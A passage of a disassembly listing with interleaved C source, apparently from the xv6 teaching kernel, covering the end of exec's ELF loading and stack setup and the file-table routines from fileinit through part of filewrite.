c7 01 add $0x1,%edi 80100a6a: 83 c6 20 add $0x20,%esi 80100a6d: 39 f8 cmp %edi,%eax 80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp) 80100a82: 00 80100a83: 89 74 24 08 mov %esi,0x8(%esp) 80100a87: 89 44 24 04 mov %eax,0x4(%esp) 80100a8b: 89 1c 24 mov %ebx,(%esp) 80100a8e: e8 cd 0e 00 00 call 80101960 <readi> 80100a93: 83 f8 20 cmp $0x20,%eax 80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x180> if(ph.type != ELF_PROG_LOAD) 80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100aa3: 75 bb jne 80100a60 <exec+0xc0> if(ph.memsz < ph.filesz) 80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100ab1: 72 6d jb 80100b20 <exec+0x180> if(ph.vaddr + ph.memsz < ph.vaddr) 80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ab9: 72 65 jb 80100b20 <exec+0x180> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100abb: 89 44 24 08 mov %eax,0x8(%esp) 80100abf: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100ac5: 89 44 24 04 mov %eax,0x4(%esp) 80100ac9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100acf: 89 04 24 mov %eax,(%esp) 80100ad2: e8 d9 5c 00 00 call 801067b0 <allocuvm> 80100ad7: 85 c0 test %eax,%eax 80100ad9: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100adf: 74 3f je 80100b20 <exec+0x180> if(ph.vaddr % PGSIZE != 0) 80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100ae7: a9 ff 0f 00 00 test $0xfff,%eax 80100aec: 75 32 jne 80100b20 <exec+0x180> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx 80100af4: 89 44 24 04 mov %eax,0x4(%esp) 80100af8: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100afe: 89 5c 24 08 mov %ebx,0x8(%esp) 80100b02: 89 54 24 10 mov %edx,0x10(%esp) 80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx 80100b0c: 89 04 24 mov %eax,(%esp) 80100b0f: 89 54 24 0c mov %edx,0xc(%esp) 80100b13: e8 d8 5b 00 00 call 801066f0 <loaduvm> 80100b18: 85 c0 test %eax,%eax 80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0> freevm(pgdir); 80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b26: 89 04 24 mov %eax,(%esp) 80100b29: e8 92 5d 00 00 call 801068c0 <freevm> 80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60> iunlockput(ip); 80100b33: 89 1c 24 mov %ebx,(%esp) 80100b36: e8 d5 0d 00 00 call 80101910 <iunlockput> 80100b3b: 90 nop 80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80100b40: e8 3b 20 00 00 call 80102b80 <end_op> sz = PGROUNDUP(sz); 80100b45: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100b4b: 05 ff 0f 00 00 add $0xfff,%eax 80100b50: 25 00 f0 ff ff and $0xfffff000,%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b55: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx 80100b5b: 89 44 24 04 mov %eax,0x4(%esp) 80100b5f: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b65: 89 54 24 08 mov %edx,0x8(%esp) 80100b69: 89 04 24 mov %eax,(%esp) 80100b6c: e8 3f 5c 00 00 call 801067b0 <allocuvm> 80100b71: 85 c0 test %eax,%eax 80100b73: 89 85 e8 fe ff ff mov %eax,-0x118(%ebp) 80100b79: 75 33 jne 80100bae <exec+0x20e> freevm(pgdir); 80100b7b: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b81: 89 04 24 mov %eax,(%esp) 80100b84: e8 37 5d 00 00 call 801068c0 <freevm> return -1; 80100b89: b8 ff ff ff ff mov $0xffffffff,%eax 80100b8e: e9 7f fe ff ff jmp 80100a12 <exec+0x72> end_op(); 80100b93: e8 e8 1f 00 00 call 80102b80 <end_op> cprintf("exec: fail\n"); 80100b98: c7 04 24 61 6c 10 80 movl $0x80106c61,(%esp) 80100b9f: e8 ac fa ff ff call 80100650 <cprintf> return -1; 80100ba4: b8 ff ff ff ff mov $0xffffffff,%eax 80100ba9: e9 64 fe ff ff jmp 80100a12 <exec+0x72> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bae: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100bb4: 89 d8 mov %ebx,%eax 80100bb6: 2d 00 20 00 00 sub $0x2000,%eax 80100bbb: 89 44 24 04 mov %eax,0x4(%esp) 80100bbf: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bc5: 89 04 24 mov %eax,(%esp) 80100bc8: e8 23 5e 00 00 call 801069f0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100bcd: 8b 45 0c mov 0xc(%ebp),%eax 80100bd0: 8b 00 mov (%eax),%eax 80100bd2: 85 c0 test %eax,%eax 80100bd4: 0f 84 59 01 00 00 je 80100d33 <exec+0x393> 80100bda: 8b 4d 0c mov 0xc(%ebp),%ecx 80100bdd: 31 d2 xor %edx,%edx 80100bdf: 8d 71 04 lea 0x4(%ecx),%esi 80100be2: 89 cf mov %ecx,%edi 80100be4: 89 d1 mov %edx,%ecx 80100be6: 89 f2 mov %esi,%edx 80100be8: 89 fe mov %edi,%esi 80100bea: 89 cf mov %ecx,%edi 80100bec: eb 0a jmp 80100bf8 <exec+0x258> 80100bee: 66 90 xchg %ax,%ax 80100bf0: 83 c2 04 add $0x4,%edx if(argc >= MAXARG) 80100bf3: 83 ff 20 cmp $0x20,%edi 80100bf6: 74 83 je 80100b7b <exec+0x1db> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bf8: 89 04 24 mov %eax,(%esp) 80100bfb: 89 95 ec fe ff ff mov %edx,-0x114(%ebp) 80100c01: e8 ba 38 00 00 call 801044c0 <strlen> 80100c06: f7 d0 not %eax 80100c08: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0a: 8b 06 mov (%esi),%eax sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c0c: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0f: 89 04 24 mov %eax,(%esp) 80100c12: e8 a9 38 00 00 call 801044c0 <strlen> 80100c17: 83 c0 01 add $0x1,%eax 80100c1a: 89 44 24 0c mov %eax,0xc(%esp) 80100c1e: 8b 06 mov (%esi),%eax 80100c20: 89 5c 24 04 mov %ebx,0x4(%esp) 80100c24: 89 44 24 08 mov %eax,0x8(%esp) 80100c28: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c2e: 89 04 24 mov %eax,(%esp) 80100c31: e8 1a 5f 00 00 call 80106b50 <copyout> 80100c36: 85 c0 test %eax,%eax 80100c38: 0f 88 3d ff ff ff js 80100b7b <exec+0x1db> for(argc = 0; argv[argc]; argc++) { 80100c3e: 8b 95 ec fe ff ff mov -0x114(%ebp),%edx ustack[3+argc] = sp; 80100c44: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100c4a: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c51: 83 c7 01 add $0x1,%edi 80100c54: 8b 02 mov (%edx),%eax 80100c56: 89 d6 mov %edx,%esi 80100c58: 85 c0 test %eax,%eax 80100c5a: 75 94 jne 80100bf0 <exec+0x250> 80100c5c: 89 fa mov %edi,%edx ustack[3+argc] = 0; 80100c5e: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4) 80100c65: 00 00 00 00 ustack[2] = sp - (argc+1)*4; // argv pointer 80100c69: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax ustack[1] = argc; 80100c70: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c76: 89 da mov %ebx,%edx 80100c78: 29 c2 sub %eax,%edx sp -= (3+argc+1) * 4; 80100c7a: 83 c0 0c add $0xc,%eax 80100c7d: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c7f: 89 44 24 0c mov %eax,0xc(%esp) 80100c83: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c89: 89 4c 24 08 mov %ecx,0x8(%esp) 80100c8d: 89 5c 24 04 mov %ebx,0x4(%esp) ustack[0] = 0xffffffff; // fake return PC 80100c91: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c98: ff ff ff if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c9b: 89 04 24 mov %eax,(%esp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c9e: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100ca4: e8 a7 5e 00 00 call 80106b50 <copyout> 80100ca9: 85 c0 test %eax,%eax 80100cab: 0f 88 ca fe ff ff js 80100b7b <exec+0x1db> for(last=s=path; *s; s++) 80100cb1: 8b 45 08 mov 0x8(%ebp),%eax 80100cb4: 0f b6 10 movzbl (%eax),%edx 80100cb7: 84 d2 test %dl,%dl 80100cb9: 74 19 je 80100cd4 <exec+0x334> 80100cbb: 8b 4d 08 mov 0x8(%ebp),%ecx 80100cbe: 83 c0 01 add $0x1,%eax last = s+1; 80100cc1: 80 fa 2f cmp $0x2f,%dl for(last=s=path; *s; s++) 80100cc4: 0f b6 10 movzbl (%eax),%edx last = s+1; 80100cc7: 0f 44 c8 cmove %eax,%ecx 80100cca: 83 c0 01 add $0x1,%eax for(last=s=path; *s; s++) 80100ccd: 84 d2 test %dl,%dl 80100ccf: 75 f0 jne 80100cc1 <exec+0x321> 80100cd1: 89 4d 08 mov %ecx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cd4: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cda: 8b 45 08 mov 0x8(%ebp),%eax 80100cdd: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80100ce4: 00 80100ce5: 89 44 24 04 mov %eax,0x4(%esp) 80100ce9: 89 f8 mov %edi,%eax 80100ceb: 83 c0 6c add $0x6c,%eax 80100cee: 89 04 24 mov %eax,(%esp) 80100cf1: e8 8a 37 00 00 call 80104480 <safestrcpy> curproc->pgdir = pgdir; 80100cf6: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx oldpgdir = curproc->pgdir; 80100cfc: 8b 77 04 mov 0x4(%edi),%esi curproc->tf->eip = elf.entry; // main 80100cff: 8b 47 18 mov 0x18(%edi),%eax curproc->pgdir = pgdir; 80100d02: 89 4f 04 mov %ecx,0x4(%edi) curproc->sz = sz; 80100d05: 8b 8d e8 fe ff ff mov -0x118(%ebp),%ecx 80100d0b: 89 0f mov %ecx,(%edi) curproc->tf->eip = elf.entry; // main 80100d0d: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d13: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d16: 8b 47 18 mov 0x18(%edi),%eax 80100d19: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d1c: 89 3c 24 mov %edi,(%esp) 80100d1f: e8 3c 58 00 00 call 80106560 <switchuvm> freevm(oldpgdir); 80100d24: 89 34 24 mov %esi,(%esp) 80100d27: e8 94 5b 00 00 call 801068c0 <freevm> return 0; 80100d2c: 31 c0 xor %eax,%eax 80100d2e: e9 df fc ff ff jmp 80100a12 <exec+0x72> for(argc = 0; argv[argc]; argc++) { 80100d33: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100d39: 31 d2 xor %edx,%edx 80100d3b: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100d41: e9 18 ff ff ff jmp 80100c5e <exec+0x2be> 80100d46: 66 90 xchg %ax,%ax 80100d48: 66 90 xchg %ax,%ax 80100d4a: 66 90 xchg %ax,%ax 80100d4c: 66 90 xchg %ax,%ax 80100d4e: 66 90 xchg %ax,%ax 80100d50 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80100d56: c7 44 24 04 6d 6c 10 movl $0x80106c6d,0x4(%esp) 80100d5d: 80 80100d5e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d65: e8 06 33 00 00 call 80104070 <initlock> } 80100d6a: c9 leave 80100d6b: c3 ret 80100d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100d70 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d70: 55 push %ebp 80100d71: 89 e5 mov %esp,%ebp 80100d73: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d74: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d79: 83 ec 14 sub $0x14,%esp acquire(&ftable.lock); 80100d7c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d83: e8 58 34 00 00 call 801041e0 <acquire> 80100d88: eb 11 jmp 80100d9b <filealloc+0x2b> 80100d8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d90: 83 c3 18 add $0x18,%ebx 80100d93: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d99: 74 25 je 80100dc0 <filealloc+0x50> if(f->ref == 0){ 80100d9b: 8b 43 04 mov 0x4(%ebx),%eax 80100d9e: 85 c0 test %eax,%eax 80100da0: 75 ee jne 80100d90 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100da2: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) f->ref = 1; 80100da9: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100db0: e8 9b 34 00 00 call 80104250 <release> return f; } } release(&ftable.lock); return 0; } 80100db5: 83 c4 14 add $0x14,%esp return f; 80100db8: 89 d8 mov %ebx,%eax } 80100dba: 5b pop %ebx 80100dbb: 5d pop %ebp 80100dbc: c3 ret 80100dbd: 8d 76 00 lea 0x0(%esi),%esi release(&ftable.lock); 80100dc0: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dc7: e8 84 34 00 00 call 80104250 <release> } 80100dcc: 83 c4 14 add $0x14,%esp return 0; 80100dcf: 31 c0 xor %eax,%eax } 80100dd1: 5b pop %ebx 80100dd2: 5d pop %ebp 80100dd3: c3 ret 80100dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100de0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100de0: 55 push %ebp 80100de1: 89 e5 mov %esp,%ebp 80100de3: 53 push %ebx 80100de4: 83 ec 14 sub $0x14,%esp 80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dea: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100df1: e8 ea 33 00 00 call 801041e0 <acquire> if(f->ref < 1) 80100df6: 8b 43 04 mov 0x4(%ebx),%eax 80100df9: 85 c0 test %eax,%eax 80100dfb: 7e 1a jle 80100e17 <filedup+0x37> panic("filedup"); f->ref++; 80100dfd: 83 c0 01 add $0x1,%eax 80100e00: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e03: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e0a: e8 41 34 00 00 call 80104250 <release> return f; } 80100e0f: 83 c4 14 add $0x14,%esp 80100e12: 89 d8 mov %ebx,%eax 80100e14: 5b pop %ebx 80100e15: 5d pop %ebp 80100e16: c3 ret panic("filedup"); 80100e17: c7 04 24 74 6c 10 80 movl $0x80106c74,(%esp) 80100e1e: e8 3d f5 ff ff call 80100360 <panic> 80100e23: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e30 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e30: 55 push %ebp 80100e31: 89 e5 mov %esp,%ebp 80100e33: 57 push %edi 80100e34: 56 push %esi 80100e35: 53 push %ebx 80100e36: 83 ec 1c sub $0x1c,%esp 80100e39: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e3c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e43: e8 98 33 00 00 call 801041e0 <acquire> if(f->ref < 1) 80100e48: 8b 57 04 mov 0x4(%edi),%edx 80100e4b: 85 d2 test %edx,%edx 80100e4d: 0f 8e 89 00 00 00 jle 80100edc <fileclose+0xac> panic("fileclose"); if(--f->ref > 0){ 80100e53: 83 ea 01 sub $0x1,%edx 80100e56: 85 d2 test %edx,%edx 80100e58: 89 57 04 mov %edx,0x4(%edi) 80100e5b: 74 13 je 80100e70 <fileclose+0x40> release(&ftable.lock); 80100e5d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e64: 83 c4 1c add $0x1c,%esp 80100e67: 5b pop %ebx 80100e68: 5e pop %esi 80100e69: 5f pop %edi 80100e6a: 5d pop %ebp release(&ftable.lock); 80100e6b: e9 e0 33 00 00 jmp 80104250 <release> ff = *f; 80100e70: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e74: 8b 37 mov (%edi),%esi 80100e76: 8b 5f 0c mov 0xc(%edi),%ebx f->type = FD_NONE; 80100e79: c7 07 00 00 00 00 movl $0x0,(%edi) ff = *f; 80100e7f: 88 45 e7 mov %al,-0x19(%ebp) 80100e82: 8b 47 10 mov 0x10(%edi),%eax release(&ftable.lock); 80100e85: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) ff = *f; 80100e8c: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100e8f: e8 bc 33 00 00 call 80104250 <release> if(ff.type == FD_PIPE) 80100e94: 83 fe 01 cmp $0x1,%esi 80100e97: 74 0f je 80100ea8 <fileclose+0x78> else if(ff.type == FD_INODE){ 80100e99: 83 fe 02 cmp $0x2,%esi 80100e9c: 74 22 je 80100ec0 <fileclose+0x90> } 80100e9e: 83 c4 1c add $0x1c,%esp 80100ea1: 5b pop %ebx 80100ea2: 5e pop %esi 80100ea3: 5f pop %edi 80100ea4: 5d pop %ebp 80100ea5: c3 ret 80100ea6: 66 90 xchg %ax,%ax pipeclose(ff.pipe, ff.writable); 80100ea8: 0f be 75 e7 movsbl -0x19(%ebp),%esi 80100eac: 89 1c 24 mov %ebx,(%esp) 80100eaf: 89 74 24 04 mov %esi,0x4(%esp) 80100eb3: e8 a8 23 00 00 call 80103260 <pipeclose> 80100eb8: eb e4 jmp 80100e9e <fileclose+0x6e> 80100eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi begin_op(); 80100ec0: e8 4b 1c 00 00 call 80102b10 <begin_op> iput(ff.ip); 80100ec5: 8b 45 e0 mov -0x20(%ebp),%eax 80100ec8: 89 04 24 mov %eax,(%esp) 80100ecb: e8 00 09 00 00 call 801017d0 <iput> } 80100ed0: 83 c4 1c add $0x1c,%esp 80100ed3: 5b pop %ebx 80100ed4: 5e pop %esi 80100ed5: 5f pop %edi 80100ed6: 5d pop %ebp end_op(); 80100ed7: e9 a4 1c 00 00 jmp 80102b80 <end_op> panic("fileclose"); 80100edc: c7 04 24 7c 6c 10 80 movl $0x80106c7c,(%esp) 80100ee3: e8 78 f4 ff ff call 80100360 <panic> 80100ee8: 90 nop 80100ee9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ef0 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100ef0: 55 push %ebp 80100ef1: 89 e5 mov %esp,%ebp 80100ef3: 53 push %ebx 80100ef4: 83 ec 14 sub $0x14,%esp 80100ef7: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100efa: 83 3b 02 cmpl $0x2,(%ebx) 80100efd: 75 31 jne 80100f30 <filestat+0x40> ilock(f->ip); 80100eff: 8b 43 10 mov 0x10(%ebx),%eax 80100f02: 89 04 24 mov %eax,(%esp) 80100f05: e8 a6 07 00 00 call 801016b0 <ilock> stati(f->ip, st); 80100f0a: 8b 45 0c mov 0xc(%ebp),%eax 80100f0d: 89 44 24 04 mov %eax,0x4(%esp) 80100f11: 8b 43 10 mov 0x10(%ebx),%eax 80100f14: 89 04 24 mov %eax,(%esp) 80100f17: e8 14 0a 00 00 call 80101930 <stati> iunlock(f->ip); 80100f1c: 8b 43 10 mov 0x10(%ebx),%eax 80100f1f: 89 04 24 mov %eax,(%esp) 80100f22: e8 69 08 00 00 call 80101790 <iunlock> return 0; } return -1; } 80100f27: 83 c4 14 add $0x14,%esp return 0; 80100f2a: 31 c0 xor %eax,%eax } 80100f2c: 5b pop %ebx 80100f2d: 5d pop %ebp 80100f2e: c3 ret 80100f2f: 90 nop 80100f30: 83 c4 14 add $0x14,%esp return -1; 80100f33: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f38: 5b pop %ebx 80100f39: 5d pop %ebp 80100f3a: c3 ret 80100f3b: 90 nop 80100f3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f40 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f40: 55 push %ebp 80100f41: 89 e5 mov %esp,%ebp 80100f43: 57 push %edi 80100f44: 56 push %esi 80100f45: 53 push %ebx 80100f46: 83 ec 1c sub $0x1c,%esp 80100f49: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f4c: 8b 75 0c mov 0xc(%ebp),%esi 80100f4f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f52: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f56: 74 68 je 80100fc0 <fileread+0x80> return -1; if(f->type == FD_PIPE) 80100f58: 8b 03 mov (%ebx),%eax 80100f5a: 83 f8 01 cmp $0x1,%eax 80100f5d: 74 49 je 80100fa8 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f5f: 83 f8 02 cmp $0x2,%eax 80100f62: 75 63 jne 80100fc7 <fileread+0x87> ilock(f->ip); 80100f64: 8b 43 10 mov 0x10(%ebx),%eax 80100f67: 89 04 24 mov %eax,(%esp) 80100f6a: e8 41 07 00 00 call 801016b0 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f6f: 89 7c 24 0c mov %edi,0xc(%esp) 80100f73: 8b 43 14 mov 0x14(%ebx),%eax 80100f76: 89 74 24 04 mov %esi,0x4(%esp) 80100f7a: 89 44 24 08 mov %eax,0x8(%esp) 80100f7e: 8b 43 10 mov 0x10(%ebx),%eax 80100f81: 89 04 24 mov %eax,(%esp) 80100f84: e8 d7 09 00 00 call 80101960 <readi> 80100f89: 85 c0 test %eax,%eax 80100f8b: 89 c6 mov %eax,%esi 80100f8d: 7e 03 jle 80100f92 <fileread+0x52> f->off += r; 80100f8f: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f92: 8b 43 10 mov 0x10(%ebx),%eax 80100f95: 89 04 24 mov %eax,(%esp) 80100f98: e8 f3 07 00 00 call 80101790 <iunlock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f9d: 89 f0 mov %esi,%eax return r; } panic("fileread"); } 80100f9f: 83 c4 1c add $0x1c,%esp 80100fa2: 5b pop %ebx 80100fa3: 5e pop %esi 80100fa4: 5f pop %edi 80100fa5: 5d pop %ebp 80100fa6: c3 ret 80100fa7: 90 nop return piperead(f->pipe, addr, n); 80100fa8: 8b 43 0c mov 0xc(%ebx),%eax 80100fab: 89 45 08 mov %eax,0x8(%ebp) } 80100fae: 83 c4 1c add $0x1c,%esp 80100fb1: 5b pop %ebx 80100fb2: 5e pop %esi 80100fb3: 5f pop %edi 80100fb4: 5d pop %ebp return piperead(f->pipe, addr, n); 80100fb5: e9 26 24 00 00 jmp 801033e0 <piperead> 80100fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fc0: b8 ff ff ff ff mov $0xffffffff,%eax 80100fc5: eb d8 jmp 80100f9f <fileread+0x5f> panic("fileread"); 80100fc7: c7 04 24 86 6c 10 80 movl $0x80106c86,(%esp) 80100fce: e8 8d f3 ff ff call 80100360 <panic> 80100fd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100fe0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fe0: 55 push %ebp 80100fe1: 89 e5 mov %esp,%ebp 80100fe3: 57 push %edi 80100fe4: 56 push %esi 80100fe5: 53 push %ebx 80100fe6: 83 ec 2c sub $0x2c,%esp 80100fe9: 8b 45 0c mov 0xc(%ebp),%eax 80100fec: 8b 7d 08 mov 0x8(%ebp),%edi 80100fef: 89 45 dc mov %eax,-0x24(%ebp) 80100ff2: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 80100ff5: 80 7f 09 00 cmpb $0x0,0x9(%edi) { 80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 80100ffc: 0f 84 ae 00 00 00 je 801010b0 <filewrite+0xd0> return -1; if(f->type == FD_PIPE) 80101002: 8b 07 mov (%edi),%eax 80101004: 83 f8 01 cmp $0x1,%eax 80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010100d: 83 f8 02 cmp $0x2,%eax 80101010: 0f 85 d7 00 00 00 jne 801010ed <filewrite+0x10d> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101016: 8b 45 e4 mov -0x1c(%ebp),%eax 80101019: 31 db xor %ebx,%ebx 8010101b: 85 c0 test %eax,%eax 8010101d: 7f 31 jg 80101050 <filewrite+0x70> 8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0> 80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; iunlock(f->ip); 80101028: 8b 4f 10 mov 0x10(%edi),%ecx f->off += r; 8010102b: 01 47 14 add %eax,0x14(%edi) 8010102e: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101031: 89 0c 24 mov %ecx,(%esp) 80101034: e8 57 07 00 00 call 80101790 <iunlock> end_op(); 80101039: e8 42 1b 00 00 call 80102b80 <end_op> 8010103e: 8b 45 e0 mov -0x20(%ebp),%eax if(r < 0) break; if(r != n1) 80101041: 39 f0 cmp %esi,%eax 80101043: 0f 85 98 00 00 00 jne 801010e1 <filewrite+0x101> panic("short filewrite"); i += r; 80101049: 01 c3 add %eax,%ebx while(i < n){ 8010104b: 39 5d e4 cmp %ebx,-0x1c(%ebp) 8010104e: 7e 70 jle 801010c0 <filewrite+0xe0> int n1 = n - i; 80101050: 8b 75 e4 mov -0x1c(%ebp),%esi 80101053: b8 00 06 00 00 mov $0x600,%eax 80101058: 29 de sub %ebx,%esi 8010105a: 81 fe 00 06 00 00 cmp $0x600,%esi 80101060: 0f 4f f0 cmovg %eax,%esi begin_op(); 80101063: e8 a8 1a 00 00 call 80102b10 <begin_op> ilock(f->ip); 80101068: 8b 47 10 mov 0x10(%edi),%eax 8010106b: 89 04 24 mov %eax,(%esp) 8010106e: e8 3d 06 00 00 call 801016b0 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101073: 89 74 24 0c mov %esi,0xc(%esp) 80101077: 8b 47 14 mov 0x14(%edi),%eax 8010107a: 89 44 24 08 mov %eax,0x8(%esp) 8010107e: 8b 45 dc mov -0x24(%ebp),%eax 80101081: 01 d8 add %ebx,%eax 80101083: 89 44 24 04 mov %eax,0x4(%esp) 80101087: 8b 47 10 mov 0x10(%edi),%eax 8010108a: 89 04 24 mov %eax,(%esp) 8010108d: e8 ce 09 00 00 call 80101a60 <writei> 80101092: 85 c0 test %eax,%eax 80101094: 7f 92 jg 80101028 <filewrite+0x48> iunlock(f->ip); 80101096: 8b 4f 10 mov 0x10(%edi),%ecx 80101099: 89 45 e0 mov %eax,-0x20(%ebp) 8010109c: 89 0c 24 mov %ecx,(%esp) 8010109f: e8 ec 06 00 00 call 80101790 